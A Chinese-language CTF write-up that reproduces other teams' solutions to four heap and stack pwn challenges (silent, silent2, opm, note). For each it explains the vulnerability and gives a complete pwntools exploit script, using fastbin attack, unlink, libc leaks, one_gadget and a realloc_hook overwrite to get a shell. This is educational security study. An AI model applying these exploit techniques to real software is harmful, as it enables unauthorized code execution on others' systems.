0x00 前言
看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么时候才能在比赛中做出来几道pwn题呢
0x01 Silent
- 漏洞位置
del函数free掉堆块后没有清空指针造成了dangling_ptr。并且edit函数在使用时没有检查堆块是否已经free。
- 利用思路
利用UAF构造fastbin attack。申请堆块,释放堆块进入fastbin,edit释放的堆块,修改其中的fd到got表上去,再申请回来,修改got表。Fastbin Attack
在malloc回来的时候会检查size位,看这个堆块是不是属于该Fastbin中,不过只检查低4字节,如果size位为61,那么检查时61-6f都能通过。 - my-exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57from pwn import *
local = 1
if local:
p = process('./silent')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('39.107.32.132' , 10000)#nc 39.107.32.132 10000
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(length , text):
p.sendline('1')
sleep(0.3)
p.sendline(str(length))
sleep(0.3)
p.sendline(text)
sleep(0.3)
def dele(num):
p.sendline('2')
sleep(0.3)
p.sendline(str(num))
sleep(0.3)
def edit(num , text):
p.sendline('3')
sleep(0.3)
p.sendline(str(num))
sleep(0.3)
p.sendline(text)
sleep(0.3)
p.sendline('')
def debug():
print pidof(p)[0]
raw_input()
elf = ELF('./silent')
p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
fake_chunk = 0x601ffa
system_plt = 0x400730
success('fake_chunk => ' + hex(fake_chunk))
success('system_plt => ' + hex(system_plt))
add(0x50 , 'a' * 0x4f)#chunk 0 rabbish
add(0x50 , 'b' * 0x4f)#chunk 1 rabbish
add(0x50 , 'c' * 0x4f)
#debug()
dele(0)#fastbin->chunk0
dele(1)#fastbin->chunk1->chunk0
debug()
dele(0)#fastbin->chunk0->chunk1->chunk0
add(0x50 , p64(fake_chunk))#fastbin->chunk1->chunk0->0x601ffa fd
add(0x50 , '/bin/sh\x00')#fastbin->chunk0->0x601ffa rabbish
add(0x50 , 'c' * 0x4f)#fastbin->0x601ffa command(chunk1)
add(0x50 , 'A' * 0xe + p64(system_plt))#free=>system
dele(1)#free(chunk1)=>system('/bin/sh\x00')
#debug()
p.interactive()
0x02 Silent2
- 漏洞位置
几乎和Silent一样的,一个dangling_ptr,一个UAF,不过在申请堆块的时候做了限制,,需要大于0x7f,即不能在fastbin的范围内。 - 利用思路
有UAF和dangling_ptr自然是构造unlink。论sleep的重要性
经过这到题,我领悟到了sleep的重要性,尤其是这种没有信息交互的地方更是致命,明明各种条件都构造好了,都满足了,却迟迟不能稳定起shell,最后sleep之后就顺利稳定起shell了。 - my-exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63from pwn import *
local = 1
if local:
p = process('./silent2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('39.107.32.132' , 10001)#nc 39.107.32.132 10001
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(length , text):
p.sendline('1')
sleep(0.1)
p.sendline(str(length))
sleep(0.1)
p.sendline(text)
sleep(0.1)
def dele(num):
p.sendline('2')
sleep(0.1)
p.sendline(str(num))
sleep(0.1)
def edit(num , text):
p.sendline('3')
sleep(0.1)
p.sendline(str(num))
sleep(0.1)
p.sendline(text)
sleep(0.1)
p.sendline('')
sleep(0.1)
def debug():
print pidof(p)[0]
raw_input()
elf = ELF('./silent2')
chunk0_addr = 0x6020d8
p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
add(0x80 , '1' * 0x7f)
add(0x80 , '/bin/sh\x00')
add(0x80 , '3' * 0x7f)
add(0x80 , 'a' * 0x7f)
add(0x80 , 'b' * 0x7f)
add(0x100 , 'c' * 0xff)
add(0x80 , 'd' * 0x7f)
dele(4)
dele(5)
payload = p64(0) + p64(0x110) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10)
add(0x190 , 'e' * 0x80 + p64(0x110) + p64(0x90) + 'e' * 0x80 + p64(0x90) + p64(0x81))
edit(3 , payload)
dele(5)
#----finish unlink----
free_got = elf.got['free']
success('free_got => ' + hex(free_got))
system_plt = elf.plt['system']
success('system_plt => ' + hex(system_plt))
edit(3 , p64(free_got))
edit(0 , p64(system_plt))
dele(1)
#debug()
p.interactive()
0x03 opm
分析题目可得出数据结构如下:
1 | struct stru{ |
- 漏洞位置
在add函数中存在两个gets()函数,存在缓冲区溢出。
- 利用思路
观察栈分布,gets()超过0x80长度后会覆盖掉栈上的结构体变量,并且add函数中有2次覆盖的机会,第1次覆盖将会影响到length的存放,第2次覆盖将会影响到punches的存放,以及kill函数的参数。
在kill函数中,可以将传进参数a1 + 8作为地址中的内容打印出来,以及将a1 + 0x18位置的内容以16进制的形式打印出来。在我们通过溢出控制传入参数后可以做leak。
从checksec中可以看到是保护机制全开的,所以我们需要leak出程序段基址和libc基址。结合kill函数和结构体的数据结构可以初步确定leak方式为覆盖如kill的参数,使参数+ 8放的是函数的got表,使参数+ 0x18放的是程序段的地址,两次leak不需要同时进行。
难点就在于如何leak,由于gets()会在输入后面加上\x00,所以我们并不能随心所欲地将地址覆盖成我们想要的地址,而只能覆盖成以00结尾的地址,这就需要我们事先将got表布置在以08结尾的地址或将程序段地址布置在以18结尾的地址。若我们事先知道程序段的基址的话,可以通过在输入name_ptr时轻松地将got表布置在08的地址。现在需要解决的问题就是如何得到程序段基址,即如何将程序段地址布置在18的地址,由于给punches赋值是在第二次覆盖掉结构体后,所以不能用+ 0x18来进行leak,推翻上一段的利用思路。所以我们只能够通过构造指向程序段的指针来利用第一个%s进行leak。
在leak出两个地址过后,由于show函数会将add函数返回的结构体的第一个8字节作为函数的入口地址执行该函数,而且add的返回值为我们第二次覆盖后的结构体,可控,所以我们可以尝试将该地址指向一个one_gadget就能起shell了。
leak程序段基址
根据WriteUp分析了半天才看出来是怎么构造的,还是太菜了,这也是为什么这个利用思路写的这么拖沓的原因。。。我们先多add几次,将地址抬高到_d00的位置,再次add时,第一次覆盖结构体时输入0x81位,将结构体覆盖为00xx,使后面的name_ptr、length、punches都写到00xx后的地址上去,此时00xx + 8为name_ptr指针,指向name字符串,但这个name_ptr的值为d_,若我们能将后面一个字节覆盖成00就可以在第二次覆盖结构体时将结构体再次改为00xx去,利用kill打印出我们事先在_d00布置好的程序段地址。此时就利用字节不对齐的方式进行最低位改为00的操作,在将_d00布置好后的下一次add中的第一次覆盖我们将结构体覆盖为00xx此次add不触发第二次覆盖。然后再在下一次的add中的第一次覆盖时,我们将结构体覆盖为00xx - 15,覆盖后会在对length进行赋值,即00xx - 15 + 16进行赋值时,将刚刚的d_最低位(地址为00xx + 9)覆盖成00然后在第二次覆盖时,将结构体又覆盖会00xx,调用kill函数即可实现leak。
- my-exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58from pwn import *
local = 1
if local:
p = process('./opm')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
print 'time is up'
def add(name , punches):
p.recvuntil('(E)xit\n')
p.sendline('A')
p.recvuntil('name:\n')
p.sendline(name)
sleep(0.1)
p.recvuntil('punch?\n')
p.sendline(str(punches))
sleep(0.1)
def show():
p.recvuntil('(E)xit\n')
p.sendline('S')
def debug():
print pidof(p)[0]
raw_input()
elf = ELF('./opm')
#one_gadget = 0x45216 0x4526a 0xf02a4 0xf1147
#step 1 leak elf_base
add('a' * 0x30 , 0x10)
add('b' * 0x30 , 0x20)
add('c' , 0x30)
add('d' * 0x80 + '\x63' , 0x40)
debug()
add('e' * 0x80 + '\x54' , '1' * 0x80 + '\x63')
#use 0054 + 0x10 (v6 -> length) to make a d00 , change 0054 to 0063 to point d00
elf.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - 0xb30
success('elf_base => ' + hex(elf.address))
#step 2 use f00 to leak libc_base
atoi_got = elf.got['atoi']
success('atoi_got => ' + hex(atoi_got))
add('f' * 8 + p64(atoi_got) , 0x50)
add('g' , 'g' * 0x80)
libc.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - libc.symbols['atoi']
success('libc_base => ' + hex(libc.address))
#step 3 use 000 and show() to trigger one_gadget
one_gadget = libc.address + 0x4526a
add('h' * 0x60 + p64(one_gadget), '')
add('i' * 0x80 , '')
show()
#debug()
p.interactive()
0x04 note
- 漏洞位置
该程序为socket程序,绑定为1234端口,需要系统有note的用户权限。程序在change_title的功能中存在off_by_one漏洞。
不过由于前面check_asc()中的限制,导致只能用0x0a、0x21、0x22、0x23、0x26、0x27、0x3F、0x40这几个规定内的字节进行溢出。
- 利用思路
题目限制只能realloc3次,利用0x40进行off_by_one并布置unlink环境,在此之前应该首先利用change_content功能构造好满足0x40大小的下一个chunk head。由于0x40大小的堆块在fastbin的范围内,无法直接free触发unlink,于是第二次realloc将该chunk放入fastbin中,在第三次realloc时触发malloc_consolidate进行unlink。unlink后,使.bss上的title指向comment指针,再配合change_comment功能,实现任意地址写,最终采用写realloc_hook为system的方法get shell。(不知道是否本地环境的问题,一开始就能直接leak libc)realloc
函数原型为realloc(ptr, size),其中ptr为指向堆的指针,size为需要realloc的大小,根据size的大小有以下几种情况:- size = 0时,相当于free(ptr)。
- size < ptr原大小时,会将原chunk分割为两部分,free掉后面的chunk。
- size = ptr原大小时,没什么卵用,不会进行任何操作。注:该等于为将size对齐后相等。
- size > ptr原大小时,若ptr下方为top chunk或者下方存在fastbin之外的free chunk并且size(free chunk) + size(ptr原大小) ≥ size,则将该堆块大小扩展至size,若不满足上述条件,则相当于free(ptr)然后malloc(size)。
malloc_consolidate
该函数会将fastbin中的所有chunk整合到unsort bin中,并且在从fastbin中摘下chunk时会检查相邻的堆块是否为free状态,若为free状态则将触发堆融合。本题采用malloc大于top chunk的size触发malloc_consolidate。
- my-exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74from pwn import *
local = 1
if local:
p = remote('0' , 1234)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
print 'time is up'
def change_title(title):
p.recvuntil('--->>\n')
p.sendline('1')
p.recvuntil('title:')
p.send(title) #off_by_one
def change_content(size , content):
p.recvuntil('--->>')
p.sendline('2')
p.recvuntil('256):')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)
def change_comment(comment):
p.recvuntil('--->>')
p.sendline('3')
p.recvuntil('comment:')
p.sendline(comment)
def show():
p.recvuntil('--->>')
p.sendline('4')
p.recvuntil('is:')
return p.recvuntil('\n')[:-1]
#step1 leak libc_base
libc.address = u64(show().ljust(8 , '\x00')) - 0x3c4b78
success('libc_base => ' + hex(libc.address))
system_addr = libc.symbols['system']
info('system_addr => ' + hex(system_addr))
realloc_hook = libc.symbols['__realloc_hook']
info('realloc_hook => ' + hex(realloc_hook))
binsh_addr = libc.search('/bin/sh\x00').next()
info('binsh_addr => ' + hex(binsh_addr))
#step2 make unlink
content = 0x602070
payload = p64(0x30) + p64(0x20) + p64(content - 0x18) + p64(content - 0x10) + p64(0x20) + '\x40'
change_content(0x78 , 0x38 * 'A' + p64(0x41))
change_title(payload)
#step3 free content to fastbin
change_content(0x100 , '')
#step4 trigger malloc_consolidate to unlink
change_content(0x20000 , '')
#step5 realloc_hook -> system
change_title(p64(realloc_hook) + '\n')
change_comment(p64(system_addr))
#step6 reset chance & content -> /bin/sh
change_title(p64(0x602050) + p64(binsh_addr) + '\n')
change_comment(p64(0))
#step7 realloc(content , size) => realloc_hook(binsh_addr) => system('/bin/sh\x00')
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('(64-256):')
p.sendline('') #size doesn't matter
#Get Shell & Have Fun
p.interactive()